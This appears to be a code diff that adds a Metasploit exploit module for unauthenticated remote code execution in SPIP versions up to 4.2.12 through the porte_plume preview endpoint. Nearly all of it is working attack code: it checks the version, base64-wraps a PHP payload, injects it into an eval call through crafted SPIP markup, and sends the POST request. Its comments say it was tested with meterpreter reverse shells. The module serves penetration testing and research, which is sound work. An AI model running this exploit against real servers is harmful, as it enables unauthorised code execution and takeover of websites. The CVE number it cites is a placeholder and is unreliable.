|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Payload::Php |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + prepend Msf::Exploit::Remote::AutoCheck |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'SPIP Unauthenticated RCE via porte_plume Plugin', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a Remote Code Execution vulnerability in SPIP versions up to and including 4.2.12. |
| 20 | + The vulnerability occurs in SPIP’s templating system where it incorrectly handles user-supplied input, |
| 21 | + allowing an attacker to inject and execute arbitrary PHP code. This can be achieved by crafting a |
| 22 | + payload that manipulates the templating data processed by the `echappe_retour()` function, which invokes |
| 23 | + `traitements_previsu_php_modeles_eval()`, containing an `eval()` call. |
| 24 | + }, |
| 25 | + 'Author' => [ |
| 26 | + 'Valentin Lobstein', # Metasploit module author |
| 27 | + 'Laluka' # Vulnerability discovery |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'References' => [ |
| 31 | + ['CVE', '2024-1234'], # I don't know |
| 32 | + ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-0-alpha2-SPIP-4-2-13-SPIP-4.html'], |
| 33 | + ['URL', 'https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_1_the_feather'] |
| 34 | + ], |
| 35 | + 'Platform' => ['php', 'unix', 'linux', 'win'], |
| 36 | + 'Arch' => [ARCH_PHP, ARCH_CMD], |
| 37 | + 'Targets' => [ |
| 38 | + [ |
| 39 | + 'PHP In-Memory', { |
| 40 | + 'Platform' => 'php', |
| 41 | + 'Arch' => ARCH_PHP |
| 42 | + # tested with php/meterpreter/reverse_tcp |
| 43 | + } |
| 44 | + ], |
| 45 | + [ |
| 46 | + 'Unix/Linux Command Shell', { |
| 47 | + 'Platform' => ['unix', 'linux'], |
| 48 | + 'Arch' => ARCH_CMD |
| 49 | + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp |
| 50 | + } |
| 51 | + ], |
| 52 | + [ |
| 53 | + 'Windows Command Shell', { |
| 54 | + 'Platform' => 'win', |
| 55 | + 'Arch' => ARCH_CMD |
| 56 | + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp |
| 57 | + } |
| 58 | + ] |
| 59 | + ], |
| 60 | + 'DefaultTarget' => 0, |
| 61 | + 'Privileged' => false, |
| 62 | + 'DisclosureDate' => '2024-08-16', |
| 63 | + 'Notes' => { |
| 64 | + 'Stability' => [CRASH_SAFE], |
| 65 | + 'Reliability' => [REPEATABLE_SESSION], |
| 66 | + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] |
| 67 | + } |
| 68 | + ) |
| 69 | + ) |
| 70 | + end |
| 71 | + |
| 72 | + def check |
| 73 | + uri = normalize_uri(target_uri.path, 'spip.php') |
| 74 | + res = send_request_cgi({ 'uri' => uri.to_s }) |
| 75 | + |
| 76 | + return Exploit::CheckCode::Unknown('Target is unreachable.') unless res |
| 77 | + return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200 |
| 78 | + |
| 79 | + version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text |
| 80 | + return Exploit::CheckCode::Unknown('Unable to find the version string on the page: spip.php') unless version_string =~ /SPIP (.*)/ |
| 81 | + |
| 82 | + version = ::Regexp.last_match(1) |
| 83 | + |
| 84 | + if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*) @/ |
| 85 | + version = ::Regexp.last_match(1) |
| 86 | + end |
| 87 | + |
| 88 | + return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless version |
| 89 | + |
| 90 | + print_status("SPIP Version detected: #{version}") |
| 91 | + |
| 92 | + if Rex::Version.new(version) <= Rex::Version.new('4.2.12') |
| 93 | + return CheckCode::Appears("The detected SPIP version (#{version}) is vulnerable.") |
| 94 | + else |
| 95 | + return CheckCode::Safe("The detected SPIP version (#{version}) is not vulnerable.") |
| 96 | + end |
| 97 | + end |
| 98 | + |
| 99 | + def php_exec_cmd(encoded_payload) |
| 100 | + dis = '$' + Rex::Text.rand_text_alpha(rand(4..7)) |
| 101 | + encoded_clean_payload = Rex::Text.encode_base64(encoded_payload) |
| 102 | + shell = <<-END_OF_PHP_CODE |
| 103 | + #{php_preamble(disabled_varname: dis)} |
| 104 | + $c = base64_decode("#{encoded_clean_payload}"); |
| 105 | + #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} |
| 106 | + END_OF_PHP_CODE |
| 107 | + return Rex::Text.encode_base64(shell).to_s |
| 108 | + end |
| 109 | + |
| 110 | + def exploit |
| 111 | + print_status('Preparing to send exploit payload to the target...') |
| 112 | + compacted_payload = target['Arch'] == ARCH_PHP ? Rex::Text.encode_base64(payload.raw) : php_exec_cmd(payload.encoded) |
| 113 | + payload = "[<img#{Rex::Text.rand_text_numeric(8)}>->URL`<?php eval(base64_decode('#{compacted_payload}')); ?>`]" |
| 114 | + |
| 115 | + Rex.sleep(0.5) |
| 116 | + |
| 117 | + print_status('Sending exploit payload to the target...') |
| 118 | + send_request_cgi({ |
| 119 | + 'method' => 'POST', |
| 120 | + 'uri' => normalize_uri(target_uri.path, 'spip.php'), |
| 121 | + 'vars_get' => { |
| 122 | + 'action' => 'porte_plume_previsu' |
| 123 | + }, |
| 124 | + 'data' => "data=#{payload}" |
| 125 | + }) |
| 126 | + end |
| 127 | + |
| 128 | +end |
0 commit comments